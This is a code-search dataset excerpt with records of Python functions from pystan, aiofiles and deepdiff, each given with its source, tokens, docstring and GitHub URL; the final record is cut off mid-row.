id
int32
0
252k
repo
stringlengths
7
55
path
stringlengths
4
127
func_name
stringlengths
1
88
original_string
stringlengths
75
19.8k
language
stringclasses
1 value
code
stringlengths
51
19.8k
code_tokens
list
docstring
stringlengths
3
17.3k
docstring_tokens
list
sha
stringlengths
40
40
url
stringlengths
87
242
225,900
stan-dev/pystan
pystan/misc.py
_par_vector2dict
def _par_vector2dict(v, pars, dims, starts=None): """Turn a vector of samples into an OrderedDict according to param dims. Parameters ---------- y : list of int or float pars : list of str parameter names dims : list of list of int list of dimensions of parameters Returns ------- d : dict Examples -------- >>> v = list(range(31)) >>> dims = [[5], [5, 5], []] >>> pars = ['mu', 'Phi', 'eta'] >>> _par_vector2dict(v, pars, dims) # doctest: +ELLIPSIS OrderedDict([('mu', array([0, 1, 2, 3, 4])), ('Phi', array([[ 5, ... """ if starts is None: starts = _calc_starts(dims) d = OrderedDict() for i in range(len(pars)): l = int(np.prod(dims[i])) start = starts[i] end = start + l y = np.asarray(v[start:end]) if len(dims[i]) > 1: y = y.reshape(dims[i], order='F') # 'F' = Fortran, column-major d[pars[i]] = y.squeeze() if y.shape == (1,) else y return d
python
def _par_vector2dict(v, pars, dims, starts=None): if starts is None: starts = _calc_starts(dims) d = OrderedDict() for i in range(len(pars)): l = int(np.prod(dims[i])) start = starts[i] end = start + l y = np.asarray(v[start:end]) if len(dims[i]) > 1: y = y.reshape(dims[i], order='F') # 'F' = Fortran, column-major d[pars[i]] = y.squeeze() if y.shape == (1,) else y return d
[ "def", "_par_vector2dict", "(", "v", ",", "pars", ",", "dims", ",", "starts", "=", "None", ")", ":", "if", "starts", "is", "None", ":", "starts", "=", "_calc_starts", "(", "dims", ")", "d", "=", "OrderedDict", "(", ")", "for", "i", "in", "range", "...
Turn a vector of samples into an OrderedDict according to param dims. Parameters ---------- y : list of int or float pars : list of str parameter names dims : list of list of int list of dimensions of parameters Returns ------- d : dict Examples -------- >>> v = list(range(31)) >>> dims = [[5], [5, 5], []] >>> pars = ['mu', 'Phi', 'eta'] >>> _par_vector2dict(v, pars, dims) # doctest: +ELLIPSIS OrderedDict([('mu', array([0, 1, 2, 3, 4])), ('Phi', array([[ 5, ...
[ "Turn", "a", "vector", "of", "samples", "into", "an", "OrderedDict", "according", "to", "param", "dims", "." ]
57bdccea11888157e7aaafba083003080a934805
https://github.com/stan-dev/pystan/blob/57bdccea11888157e7aaafba083003080a934805/pystan/misc.py#L765-L800
225,901
stan-dev/pystan
pystan/misc.py
_pars_total_indexes
def _pars_total_indexes(names, dims, fnames, pars): """Obtain all the indexes for parameters `pars` in the sequence of names. `names` references variables that are in column-major order Parameters ---------- names : sequence of str All the parameter names. dim : sequence of list of int Dimensions, in same order as `names`. fnames : sequence of str All the scalar parameter names pars : sequence of str The parameters of interest. It is assumed all elements in `pars` are in `names`. Returns ------- indexes : OrderedDict of list of int Dictionary uses parameter names as keys. Indexes are column-major order. For each parameter there is also a key `par`+'_rowmajor' that stores the row-major indexing. Note ---- Inside each parameter (vector or array), the sequence uses column-major ordering. For example, if we have parameters alpha and beta, having dimensions [2, 2] and [2, 3] respectively, the whole parameter sequence is alpha[0,0], alpha[1,0], alpha[0, 1], alpha[1, 1], beta[0, 0], beta[1, 0], beta[0, 1], beta[1, 1], beta[0, 2], beta[1, 2]. In short, like R matrix(..., bycol=TRUE). Example ------- >>> pars_oi = ['mu', 'tau', 'eta', 'theta', 'lp__'] >>> dims_oi = [[], [], [8], [8], []] >>> fnames_oi = ['mu', 'tau', 'eta[1]', 'eta[2]', 'eta[3]', 'eta[4]', ... 'eta[5]', 'eta[6]', 'eta[7]', 'eta[8]', 'theta[1]', 'theta[2]', ... 'theta[3]', 'theta[4]', 'theta[5]', 'theta[6]', 'theta[7]', ... 'theta[8]', 'lp__'] >>> pars = ['mu', 'tau', 'eta', 'theta', 'lp__'] >>> _pars_total_indexes(pars_oi, dims_oi, fnames_oi, pars) ... # doctest: +ELLIPSIS OrderedDict([('mu', (0,)), ('tau', (1,)), ('eta', (2, 3, ... """ starts = _calc_starts(dims) def par_total_indexes(par): # if `par` is a scalar, it will match one of `fnames` if par in fnames: p = fnames.index(par) idx = tuple([p]) return OrderedDict([(par, idx), (par+'_rowmajor', idx)]) else: p = names.index(par) idx = starts[p] + np.arange(np.prod(dims[p])) idx_rowmajor = starts[p] + _idx_col2rowm(dims[p]) return OrderedDict([(par, tuple(idx)), (par+'_rowmajor', tuple(idx_rowmajor))]) indexes = OrderedDict() for par in pars: indexes.update(par_total_indexes(par)) return indexes
python
def _pars_total_indexes(names, dims, fnames, pars): starts = _calc_starts(dims) def par_total_indexes(par): # if `par` is a scalar, it will match one of `fnames` if par in fnames: p = fnames.index(par) idx = tuple([p]) return OrderedDict([(par, idx), (par+'_rowmajor', idx)]) else: p = names.index(par) idx = starts[p] + np.arange(np.prod(dims[p])) idx_rowmajor = starts[p] + _idx_col2rowm(dims[p]) return OrderedDict([(par, tuple(idx)), (par+'_rowmajor', tuple(idx_rowmajor))]) indexes = OrderedDict() for par in pars: indexes.update(par_total_indexes(par)) return indexes
[ "def", "_pars_total_indexes", "(", "names", ",", "dims", ",", "fnames", ",", "pars", ")", ":", "starts", "=", "_calc_starts", "(", "dims", ")", "def", "par_total_indexes", "(", "par", ")", ":", "# if `par` is a scalar, it will match one of `fnames`", "if", "par", ...
Obtain all the indexes for parameters `pars` in the sequence of names. `names` references variables that are in column-major order Parameters ---------- names : sequence of str All the parameter names. dim : sequence of list of int Dimensions, in same order as `names`. fnames : sequence of str All the scalar parameter names pars : sequence of str The parameters of interest. It is assumed all elements in `pars` are in `names`. Returns ------- indexes : OrderedDict of list of int Dictionary uses parameter names as keys. Indexes are column-major order. For each parameter there is also a key `par`+'_rowmajor' that stores the row-major indexing. Note ---- Inside each parameter (vector or array), the sequence uses column-major ordering. For example, if we have parameters alpha and beta, having dimensions [2, 2] and [2, 3] respectively, the whole parameter sequence is alpha[0,0], alpha[1,0], alpha[0, 1], alpha[1, 1], beta[0, 0], beta[1, 0], beta[0, 1], beta[1, 1], beta[0, 2], beta[1, 2]. In short, like R matrix(..., bycol=TRUE). Example ------- >>> pars_oi = ['mu', 'tau', 'eta', 'theta', 'lp__'] >>> dims_oi = [[], [], [8], [8], []] >>> fnames_oi = ['mu', 'tau', 'eta[1]', 'eta[2]', 'eta[3]', 'eta[4]', ... 'eta[5]', 'eta[6]', 'eta[7]', 'eta[8]', 'theta[1]', 'theta[2]', ... 'theta[3]', 'theta[4]', 'theta[5]', 'theta[6]', 'theta[7]', ... 'theta[8]', 'lp__'] >>> pars = ['mu', 'tau', 'eta', 'theta', 'lp__'] >>> _pars_total_indexes(pars_oi, dims_oi, fnames_oi, pars) ... # doctest: +ELLIPSIS OrderedDict([('mu', (0,)), ('tau', (1,)), ('eta', (2, 3, ...
[ "Obtain", "all", "the", "indexes", "for", "parameters", "pars", "in", "the", "sequence", "of", "names", "." ]
57bdccea11888157e7aaafba083003080a934805
https://github.com/stan-dev/pystan/blob/57bdccea11888157e7aaafba083003080a934805/pystan/misc.py#L811-L875
225,902
stan-dev/pystan
pystan/misc.py
_idx_col2rowm
def _idx_col2rowm(d): """Generate indexes to change from col-major to row-major ordering""" if 0 == len(d): return 1 if 1 == len(d): return np.arange(d[0]) # order='F' indicates column-major ordering idx = np.array(np.arange(np.prod(d))).reshape(d, order='F').T return idx.flatten(order='F')
python
def _idx_col2rowm(d): if 0 == len(d): return 1 if 1 == len(d): return np.arange(d[0]) # order='F' indicates column-major ordering idx = np.array(np.arange(np.prod(d))).reshape(d, order='F').T return idx.flatten(order='F')
[ "def", "_idx_col2rowm", "(", "d", ")", ":", "if", "0", "==", "len", "(", "d", ")", ":", "return", "1", "if", "1", "==", "len", "(", "d", ")", ":", "return", "np", ".", "arange", "(", "d", "[", "0", "]", ")", "# order='F' indicates column-major orde...
Generate indexes to change from col-major to row-major ordering
[ "Generate", "indexes", "to", "change", "from", "col", "-", "major", "to", "row", "-", "major", "ordering" ]
57bdccea11888157e7aaafba083003080a934805
https://github.com/stan-dev/pystan/blob/57bdccea11888157e7aaafba083003080a934805/pystan/misc.py#L878-L886
225,903
stan-dev/pystan
pystan/misc.py
_get_samples
def _get_samples(n, sim, inc_warmup=True): # NOTE: this is in stanfit-class.R in RStan (rather than misc.R) """Get chains for `n`th parameter. Parameters ---------- n : int sim : dict A dictionary tied to a StanFit4Model instance. Returns ------- chains : list of array Each chain is an element in the list. """ return pystan._misc.get_samples(n, sim, inc_warmup)
python
def _get_samples(n, sim, inc_warmup=True): # NOTE: this is in stanfit-class.R in RStan (rather than misc.R) return pystan._misc.get_samples(n, sim, inc_warmup)
[ "def", "_get_samples", "(", "n", ",", "sim", ",", "inc_warmup", "=", "True", ")", ":", "# NOTE: this is in stanfit-class.R in RStan (rather than misc.R)", "return", "pystan", ".", "_misc", ".", "get_samples", "(", "n", ",", "sim", ",", "inc_warmup", ")" ]
Get chains for `n`th parameter. Parameters ---------- n : int sim : dict A dictionary tied to a StanFit4Model instance. Returns ------- chains : list of array Each chain is an element in the list.
[ "Get", "chains", "for", "n", "th", "parameter", "." ]
57bdccea11888157e7aaafba083003080a934805
https://github.com/stan-dev/pystan/blob/57bdccea11888157e7aaafba083003080a934805/pystan/misc.py#L909-L925
225,904
stan-dev/pystan
pystan/misc.py
_writable_sample_file
def _writable_sample_file(file, warn=True, wfun=None): """Check to see if file is writable, if not use temporary file""" if wfun is None: wfun = lambda x, y: '"{}" is not writable; use "{}" instead'.format(x, y) dir = os.path.dirname(file) dir = os.getcwd() if dir == '' else dir if os.access(dir, os.W_OK): return file else: dir2 = tempfile.mkdtemp() if warn: logger.warning(wfun(dir, dir2)) return os.path.join(dir2, os.path.basename(file))
python
def _writable_sample_file(file, warn=True, wfun=None): if wfun is None: wfun = lambda x, y: '"{}" is not writable; use "{}" instead'.format(x, y) dir = os.path.dirname(file) dir = os.getcwd() if dir == '' else dir if os.access(dir, os.W_OK): return file else: dir2 = tempfile.mkdtemp() if warn: logger.warning(wfun(dir, dir2)) return os.path.join(dir2, os.path.basename(file))
[ "def", "_writable_sample_file", "(", "file", ",", "warn", "=", "True", ",", "wfun", "=", "None", ")", ":", "if", "wfun", "is", "None", ":", "wfun", "=", "lambda", "x", ",", "y", ":", "'\"{}\" is not writable; use \"{}\" instead'", ".", "format", "(", "x", ...
Check to see if file is writable, if not use temporary file
[ "Check", "to", "see", "if", "file", "is", "writable", "if", "not", "use", "temporary", "file" ]
57bdccea11888157e7aaafba083003080a934805
https://github.com/stan-dev/pystan/blob/57bdccea11888157e7aaafba083003080a934805/pystan/misc.py#L978-L990
225,905
stan-dev/pystan
pystan/misc.py
stan_rdump
def stan_rdump(data, filename): """ Dump a dictionary with model data into a file using the R dump format that Stan supports. Parameters ---------- data : dict filename : str """ for name in data: if not is_legal_stan_vname(name): raise ValueError("Variable name {} is not allowed in Stan".format(name)) with open(filename, 'w') as f: f.write(_dict_to_rdump(data))
python
def stan_rdump(data, filename): for name in data: if not is_legal_stan_vname(name): raise ValueError("Variable name {} is not allowed in Stan".format(name)) with open(filename, 'w') as f: f.write(_dict_to_rdump(data))
[ "def", "stan_rdump", "(", "data", ",", "filename", ")", ":", "for", "name", "in", "data", ":", "if", "not", "is_legal_stan_vname", "(", "name", ")", ":", "raise", "ValueError", "(", "\"Variable name {} is not allowed in Stan\"", ".", "format", "(", "name", ")"...
Dump a dictionary with model data into a file using the R dump format that Stan supports. Parameters ---------- data : dict filename : str
[ "Dump", "a", "dictionary", "with", "model", "data", "into", "a", "file", "using", "the", "R", "dump", "format", "that", "Stan", "supports", "." ]
57bdccea11888157e7aaafba083003080a934805
https://github.com/stan-dev/pystan/blob/57bdccea11888157e7aaafba083003080a934805/pystan/misc.py#L1043-L1058
225,906
stan-dev/pystan
pystan/misc.py
_rdump_value_to_numpy
def _rdump_value_to_numpy(s): """ Convert a R dump formatted value to Numpy equivalent For example, "c(1, 2)" becomes ``array([1, 2])`` Only supports a few R data structures. Will not work with European decimal format. """ if "structure" in s: vector_str, shape_str = re.findall(r'c\([^\)]+\)', s) shape = [int(d) for d in shape_str[2:-1].split(',')] if '.' in vector_str: arr = np.array([float(v) for v in vector_str[2:-1].split(',')]) else: arr = np.array([int(v) for v in vector_str[2:-1].split(',')]) # 'F' = Fortran, column-major arr = arr.reshape(shape, order='F') elif "c(" in s: if '.' in s: arr = np.array([float(v) for v in s[2:-1].split(',')], order='F') else: arr = np.array([int(v) for v in s[2:-1].split(',')], order='F') else: arr = np.array(float(s) if '.' in s else int(s)) return arr
python
def _rdump_value_to_numpy(s): if "structure" in s: vector_str, shape_str = re.findall(r'c\([^\)]+\)', s) shape = [int(d) for d in shape_str[2:-1].split(',')] if '.' in vector_str: arr = np.array([float(v) for v in vector_str[2:-1].split(',')]) else: arr = np.array([int(v) for v in vector_str[2:-1].split(',')]) # 'F' = Fortran, column-major arr = arr.reshape(shape, order='F') elif "c(" in s: if '.' in s: arr = np.array([float(v) for v in s[2:-1].split(',')], order='F') else: arr = np.array([int(v) for v in s[2:-1].split(',')], order='F') else: arr = np.array(float(s) if '.' in s else int(s)) return arr
[ "def", "_rdump_value_to_numpy", "(", "s", ")", ":", "if", "\"structure\"", "in", "s", ":", "vector_str", ",", "shape_str", "=", "re", ".", "findall", "(", "r'c\\([^\\)]+\\)'", ",", "s", ")", "shape", "=", "[", "int", "(", "d", ")", "for", "d", "in", ...
Convert a R dump formatted value to Numpy equivalent For example, "c(1, 2)" becomes ``array([1, 2])`` Only supports a few R data structures. Will not work with European decimal format.
[ "Convert", "a", "R", "dump", "formatted", "value", "to", "Numpy", "equivalent" ]
57bdccea11888157e7aaafba083003080a934805
https://github.com/stan-dev/pystan/blob/57bdccea11888157e7aaafba083003080a934805/pystan/misc.py#L1061-L1085
225,907
stan-dev/pystan
pystan/misc.py
read_rdump
def read_rdump(filename): """ Read data formatted using the R dump format Parameters ---------- filename: str Returns ------- data : OrderedDict """ contents = open(filename).read().strip() names = [name.strip() for name in re.findall(r'^(\w+) <-', contents, re.MULTILINE)] values = [value.strip() for value in re.split('\w+ +<-', contents) if value] if len(values) != len(names): raise ValueError("Unable to read file. Unable to pair variable name with value.") d = OrderedDict() for name, value in zip(names, values): d[name.strip()] = _rdump_value_to_numpy(value.strip()) return d
python
def read_rdump(filename): contents = open(filename).read().strip() names = [name.strip() for name in re.findall(r'^(\w+) <-', contents, re.MULTILINE)] values = [value.strip() for value in re.split('\w+ +<-', contents) if value] if len(values) != len(names): raise ValueError("Unable to read file. Unable to pair variable name with value.") d = OrderedDict() for name, value in zip(names, values): d[name.strip()] = _rdump_value_to_numpy(value.strip()) return d
[ "def", "read_rdump", "(", "filename", ")", ":", "contents", "=", "open", "(", "filename", ")", ".", "read", "(", ")", ".", "strip", "(", ")", "names", "=", "[", "name", ".", "strip", "(", ")", "for", "name", "in", "re", ".", "findall", "(", "r'^(...
Read data formatted using the R dump format Parameters ---------- filename: str Returns ------- data : OrderedDict
[ "Read", "data", "formatted", "using", "the", "R", "dump", "format" ]
57bdccea11888157e7aaafba083003080a934805
https://github.com/stan-dev/pystan/blob/57bdccea11888157e7aaafba083003080a934805/pystan/misc.py#L1113-L1133
225,908
stan-dev/pystan
pystan/model.py
load_module
def load_module(module_name, module_path): """Load the module named `module_name` from `module_path` independently of the Python version.""" if sys.version_info >= (3,0): import pyximport pyximport.install() sys.path.append(module_path) return __import__(module_name) else: import imp module_info = imp.find_module(module_name, [module_path]) return imp.load_module(module_name, *module_info)
python
def load_module(module_name, module_path): if sys.version_info >= (3,0): import pyximport pyximport.install() sys.path.append(module_path) return __import__(module_name) else: import imp module_info = imp.find_module(module_name, [module_path]) return imp.load_module(module_name, *module_info)
[ "def", "load_module", "(", "module_name", ",", "module_path", ")", ":", "if", "sys", ".", "version_info", ">=", "(", "3", ",", "0", ")", ":", "import", "pyximport", "pyximport", ".", "install", "(", ")", "sys", ".", "path", ".", "append", "(", "module_...
Load the module named `module_name` from `module_path` independently of the Python version.
[ "Load", "the", "module", "named", "module_name", "from", "module_path", "independently", "of", "the", "Python", "version", "." ]
57bdccea11888157e7aaafba083003080a934805
https://github.com/stan-dev/pystan/blob/57bdccea11888157e7aaafba083003080a934805/pystan/model.py#L43-L54
225,909
Tinche/aiofiles
aiofiles/threadpool/__init__.py
_open
def _open(file, mode='r', buffering=-1, encoding=None, errors=None, newline=None, closefd=True, opener=None, *, loop=None, executor=None): """Open an asyncio file.""" if loop is None: loop = asyncio.get_event_loop() cb = partial(sync_open, file, mode=mode, buffering=buffering, encoding=encoding, errors=errors, newline=newline, closefd=closefd, opener=opener) f = yield from loop.run_in_executor(executor, cb) return wrap(f, loop=loop, executor=executor)
python
def _open(file, mode='r', buffering=-1, encoding=None, errors=None, newline=None, closefd=True, opener=None, *, loop=None, executor=None): if loop is None: loop = asyncio.get_event_loop() cb = partial(sync_open, file, mode=mode, buffering=buffering, encoding=encoding, errors=errors, newline=newline, closefd=closefd, opener=opener) f = yield from loop.run_in_executor(executor, cb) return wrap(f, loop=loop, executor=executor)
[ "def", "_open", "(", "file", ",", "mode", "=", "'r'", ",", "buffering", "=", "-", "1", ",", "encoding", "=", "None", ",", "errors", "=", "None", ",", "newline", "=", "None", ",", "closefd", "=", "True", ",", "opener", "=", "None", ",", "*", ",", ...
Open an asyncio file.
[ "Open", "an", "asyncio", "file", "." ]
145107595fe72b877005fb4ebf9d77ffb754689a
https://github.com/Tinche/aiofiles/blob/145107595fe72b877005fb4ebf9d77ffb754689a/aiofiles/threadpool/__init__.py#L27-L37
225,910
seperman/deepdiff
deepdiff/diff.py
DeepDiff._get_view_results
def _get_view_results(self, view): """ Get the results based on the view """ if view == TREE_VIEW: result = self.tree else: result = TextResult(tree_results=self.tree) result.cleanup() # clean up text-style result dictionary return result
python
def _get_view_results(self, view): if view == TREE_VIEW: result = self.tree else: result = TextResult(tree_results=self.tree) result.cleanup() # clean up text-style result dictionary return result
[ "def", "_get_view_results", "(", "self", ",", "view", ")", ":", "if", "view", "==", "TREE_VIEW", ":", "result", "=", "self", ".", "tree", "else", ":", "result", "=", "TextResult", "(", "tree_results", "=", "self", ".", "tree", ")", "result", ".", "clea...
Get the results based on the view
[ "Get", "the", "results", "based", "on", "the", "view" ]
a66879190fadc671632f154c1fcb82f5c3cef800
https://github.com/seperman/deepdiff/blob/a66879190fadc671632f154c1fcb82f5c3cef800/deepdiff/diff.py#L110-L119
225,911
seperman/deepdiff
deepdiff/diff.py
DeepDiff.__diff_dict
def __diff_dict(self, level, parents_ids=frozenset({}), print_as_attribute=False, override=False, override_t1=None, override_t2=None): """Difference of 2 dictionaries""" if override: # for special stuff like custom objects and named tuples we receive preprocessed t1 and t2 # but must not spoil the chain (=level) with it t1 = override_t1 t2 = override_t2 else: t1 = level.t1 t2 = level.t2 if print_as_attribute: item_added_key = "attribute_added" item_removed_key = "attribute_removed" rel_class = AttributeRelationship else: item_added_key = "dictionary_item_added" item_removed_key = "dictionary_item_removed" rel_class = DictRelationship t1_keys = set(t1.keys()) t2_keys = set(t2.keys()) if self.ignore_string_type_changes or self.ignore_numeric_type_changes: t1_clean_to_keys = self.__get_clean_to_keys_mapping(keys=t1_keys, level=level) t2_clean_to_keys = self.__get_clean_to_keys_mapping(keys=t2_keys, level=level) t1_keys = set(t1_clean_to_keys.keys()) t2_keys = set(t2_clean_to_keys.keys()) else: t1_clean_to_keys = t2_clean_to_keys = None t_keys_intersect = t2_keys.intersection(t1_keys) t_keys_added = t2_keys - t_keys_intersect t_keys_removed = t1_keys - t_keys_intersect for key in t_keys_added: key = t2_clean_to_keys[key] if t2_clean_to_keys else key change_level = level.branch_deeper( notpresent, t2[key], child_relationship_class=rel_class, child_relationship_param=key) self.__report_result(item_added_key, change_level) for key in t_keys_removed: key = t1_clean_to_keys[key] if t1_clean_to_keys else key change_level = level.branch_deeper( t1[key], notpresent, child_relationship_class=rel_class, child_relationship_param=key) self.__report_result(item_removed_key, change_level) for key in t_keys_intersect: # key present in both dicts - need to compare values key1 = t1_clean_to_keys[key] if t1_clean_to_keys else key key2 = t2_clean_to_keys[key] if t2_clean_to_keys else key item_id = id(t1[key1]) if parents_ids and item_id in parents_ids: continue parents_ids_added = add_to_frozen_set(parents_ids, item_id) # Go one level deeper next_level = level.branch_deeper( t1[key1], t2[key2], child_relationship_class=rel_class, child_relationship_param=key) self.__diff(next_level, parents_ids_added)
python
def __diff_dict(self, level, parents_ids=frozenset({}), print_as_attribute=False, override=False, override_t1=None, override_t2=None): if override: # for special stuff like custom objects and named tuples we receive preprocessed t1 and t2 # but must not spoil the chain (=level) with it t1 = override_t1 t2 = override_t2 else: t1 = level.t1 t2 = level.t2 if print_as_attribute: item_added_key = "attribute_added" item_removed_key = "attribute_removed" rel_class = AttributeRelationship else: item_added_key = "dictionary_item_added" item_removed_key = "dictionary_item_removed" rel_class = DictRelationship t1_keys = set(t1.keys()) t2_keys = set(t2.keys()) if self.ignore_string_type_changes or self.ignore_numeric_type_changes: t1_clean_to_keys = self.__get_clean_to_keys_mapping(keys=t1_keys, level=level) t2_clean_to_keys = self.__get_clean_to_keys_mapping(keys=t2_keys, level=level) t1_keys = set(t1_clean_to_keys.keys()) t2_keys = set(t2_clean_to_keys.keys()) else: t1_clean_to_keys = t2_clean_to_keys = None t_keys_intersect = t2_keys.intersection(t1_keys) t_keys_added = t2_keys - t_keys_intersect t_keys_removed = t1_keys - t_keys_intersect for key in t_keys_added: key = t2_clean_to_keys[key] if t2_clean_to_keys else key change_level = level.branch_deeper( notpresent, t2[key], child_relationship_class=rel_class, child_relationship_param=key) self.__report_result(item_added_key, change_level) for key in t_keys_removed: key = t1_clean_to_keys[key] if t1_clean_to_keys else key change_level = level.branch_deeper( t1[key], notpresent, child_relationship_class=rel_class, child_relationship_param=key) self.__report_result(item_removed_key, change_level) for key in t_keys_intersect: # key present in both dicts - need to compare values key1 = t1_clean_to_keys[key] if t1_clean_to_keys else key key2 = t2_clean_to_keys[key] if t2_clean_to_keys else key item_id = id(t1[key1]) if parents_ids and item_id in parents_ids: continue parents_ids_added = add_to_frozen_set(parents_ids, item_id) # Go one level deeper next_level = level.branch_deeper( t1[key1], t2[key2], child_relationship_class=rel_class, child_relationship_param=key) self.__diff(next_level, parents_ids_added)
[ "def", "__diff_dict", "(", "self", ",", "level", ",", "parents_ids", "=", "frozenset", "(", "{", "}", ")", ",", "print_as_attribute", "=", "False", ",", "override", "=", "False", ",", "override_t1", "=", "None", ",", "override_t2", "=", "None", ")", ":",...
Difference of 2 dictionaries
[ "Difference", "of", "2", "dictionaries" ]
a66879190fadc671632f154c1fcb82f5c3cef800
https://github.com/seperman/deepdiff/blob/a66879190fadc671632f154c1fcb82f5c3cef800/deepdiff/diff.py#L247-L320
225,912
seperman/deepdiff
deepdiff/diff.py
DeepDiff.__diff_set
def __diff_set(self, level): """Difference of sets""" t1_hashtable = self.__create_hashtable(level.t1, level) t2_hashtable = self.__create_hashtable(level.t2, level) t1_hashes = set(t1_hashtable.keys()) t2_hashes = set(t2_hashtable.keys()) hashes_added = t2_hashes - t1_hashes hashes_removed = t1_hashes - t2_hashes items_added = [t2_hashtable[i].item for i in hashes_added] items_removed = [t1_hashtable[i].item for i in hashes_removed] for item in items_added: change_level = level.branch_deeper( notpresent, item, child_relationship_class=SetRelationship) self.__report_result('set_item_added', change_level) for item in items_removed: change_level = level.branch_deeper( item, notpresent, child_relationship_class=SetRelationship) self.__report_result('set_item_removed', change_level)
python
def __diff_set(self, level): t1_hashtable = self.__create_hashtable(level.t1, level) t2_hashtable = self.__create_hashtable(level.t2, level) t1_hashes = set(t1_hashtable.keys()) t2_hashes = set(t2_hashtable.keys()) hashes_added = t2_hashes - t1_hashes hashes_removed = t1_hashes - t2_hashes items_added = [t2_hashtable[i].item for i in hashes_added] items_removed = [t1_hashtable[i].item for i in hashes_removed] for item in items_added: change_level = level.branch_deeper( notpresent, item, child_relationship_class=SetRelationship) self.__report_result('set_item_added', change_level) for item in items_removed: change_level = level.branch_deeper( item, notpresent, child_relationship_class=SetRelationship) self.__report_result('set_item_removed', change_level)
[ "def", "__diff_set", "(", "self", ",", "level", ")", ":", "t1_hashtable", "=", "self", ".", "__create_hashtable", "(", "level", ".", "t1", ",", "level", ")", "t2_hashtable", "=", "self", ".", "__create_hashtable", "(", "level", ".", "t2", ",", "level", "...
Difference of sets
[ "Difference", "of", "sets" ]
a66879190fadc671632f154c1fcb82f5c3cef800
https://github.com/seperman/deepdiff/blob/a66879190fadc671632f154c1fcb82f5c3cef800/deepdiff/diff.py#L322-L344
225,913
seperman/deepdiff
deepdiff/diff.py
DeepDiff.__diff_iterable
def __diff_iterable(self, level, parents_ids=frozenset({})): """Difference of iterables""" # We're handling both subscriptable and non-subscriptable iterables. Which one is it? subscriptable = self.__iterables_subscriptable(level.t1, level.t2) if subscriptable: child_relationship_class = SubscriptableIterableRelationship else: child_relationship_class = NonSubscriptableIterableRelationship for i, (x, y) in enumerate( zip_longest( level.t1, level.t2, fillvalue=ListItemRemovedOrAdded)): if y is ListItemRemovedOrAdded: # item removed completely change_level = level.branch_deeper( x, notpresent, child_relationship_class=child_relationship_class, child_relationship_param=i) self.__report_result('iterable_item_removed', change_level) elif x is ListItemRemovedOrAdded: # new item added change_level = level.branch_deeper( notpresent, y, child_relationship_class=child_relationship_class, child_relationship_param=i) self.__report_result('iterable_item_added', change_level) else: # check if item value has changed item_id = id(x) if parents_ids and item_id in parents_ids: continue parents_ids_added = add_to_frozen_set(parents_ids, item_id) # Go one level deeper next_level = level.branch_deeper( x, y, child_relationship_class=child_relationship_class, child_relationship_param=i) self.__diff(next_level, parents_ids_added)
python
def __diff_iterable(self, level, parents_ids=frozenset({})): # We're handling both subscriptable and non-subscriptable iterables. Which one is it? subscriptable = self.__iterables_subscriptable(level.t1, level.t2) if subscriptable: child_relationship_class = SubscriptableIterableRelationship else: child_relationship_class = NonSubscriptableIterableRelationship for i, (x, y) in enumerate( zip_longest( level.t1, level.t2, fillvalue=ListItemRemovedOrAdded)): if y is ListItemRemovedOrAdded: # item removed completely change_level = level.branch_deeper( x, notpresent, child_relationship_class=child_relationship_class, child_relationship_param=i) self.__report_result('iterable_item_removed', change_level) elif x is ListItemRemovedOrAdded: # new item added change_level = level.branch_deeper( notpresent, y, child_relationship_class=child_relationship_class, child_relationship_param=i) self.__report_result('iterable_item_added', change_level) else: # check if item value has changed item_id = id(x) if parents_ids and item_id in parents_ids: continue parents_ids_added = add_to_frozen_set(parents_ids, item_id) # Go one level deeper next_level = level.branch_deeper( x, y, child_relationship_class=child_relationship_class, child_relationship_param=i) self.__diff(next_level, parents_ids_added)
[ "def", "__diff_iterable", "(", "self", ",", "level", ",", "parents_ids", "=", "frozenset", "(", "{", "}", ")", ")", ":", "# We're handling both subscriptable and non-subscriptable iterables. Which one is it?", "subscriptable", "=", "self", ".", "__iterables_subscriptable", ...
Difference of iterables
[ "Difference", "of", "iterables" ]
a66879190fadc671632f154c1fcb82f5c3cef800
https://github.com/seperman/deepdiff/blob/a66879190fadc671632f154c1fcb82f5c3cef800/deepdiff/diff.py#L356-L396
225,914
seperman/deepdiff
deepdiff/diff.py
DeepDiff.__diff_iterable_with_deephash
def __diff_iterable_with_deephash(self, level): """Diff of unhashable iterables. Only used when ignoring the order.""" t1_hashtable = self.__create_hashtable(level.t1, level) t2_hashtable = self.__create_hashtable(level.t2, level) t1_hashes = set(t1_hashtable.keys()) t2_hashes = set(t2_hashtable.keys()) hashes_added = t2_hashes - t1_hashes hashes_removed = t1_hashes - t2_hashes if self.report_repetition: for hash_value in hashes_added: for i in t2_hashtable[hash_value].indexes: change_level = level.branch_deeper( notpresent, t2_hashtable[hash_value].item, child_relationship_class=SubscriptableIterableRelationship, # TODO: that might be a lie! child_relationship_param=i ) # TODO: what is this value exactly? self.__report_result('iterable_item_added', change_level) for hash_value in hashes_removed: for i in t1_hashtable[hash_value].indexes: change_level = level.branch_deeper( t1_hashtable[hash_value].item, notpresent, child_relationship_class=SubscriptableIterableRelationship, # TODO: that might be a lie! child_relationship_param=i) self.__report_result('iterable_item_removed', change_level) items_intersect = t2_hashes.intersection(t1_hashes) for hash_value in items_intersect: t1_indexes = t1_hashtable[hash_value].indexes t2_indexes = t2_hashtable[hash_value].indexes t1_indexes_len = len(t1_indexes) t2_indexes_len = len(t2_indexes) if t1_indexes_len != t2_indexes_len: # this is a repetition change! # create "change" entry, keep current level untouched to handle further changes repetition_change_level = level.branch_deeper( t1_hashtable[hash_value].item, t2_hashtable[hash_value].item, # nb: those are equal! child_relationship_class=SubscriptableIterableRelationship, # TODO: that might be a lie! child_relationship_param=t1_hashtable[hash_value] .indexes[0]) repetition_change_level.additional['repetition'] = RemapDict( old_repeat=t1_indexes_len, new_repeat=t2_indexes_len, old_indexes=t1_indexes, new_indexes=t2_indexes) self.__report_result('repetition_change', repetition_change_level) else: for hash_value in hashes_added: change_level = level.branch_deeper( notpresent, t2_hashtable[hash_value].item, child_relationship_class=SubscriptableIterableRelationship, # TODO: that might be a lie! child_relationship_param=t2_hashtable[hash_value].indexes[ 0]) # TODO: what is this value exactly? self.__report_result('iterable_item_added', change_level) for hash_value in hashes_removed: change_level = level.branch_deeper( t1_hashtable[hash_value].item, notpresent, child_relationship_class=SubscriptableIterableRelationship, # TODO: that might be a lie! child_relationship_param=t1_hashtable[hash_value].indexes[ 0]) self.__report_result('iterable_item_removed', change_level)
python
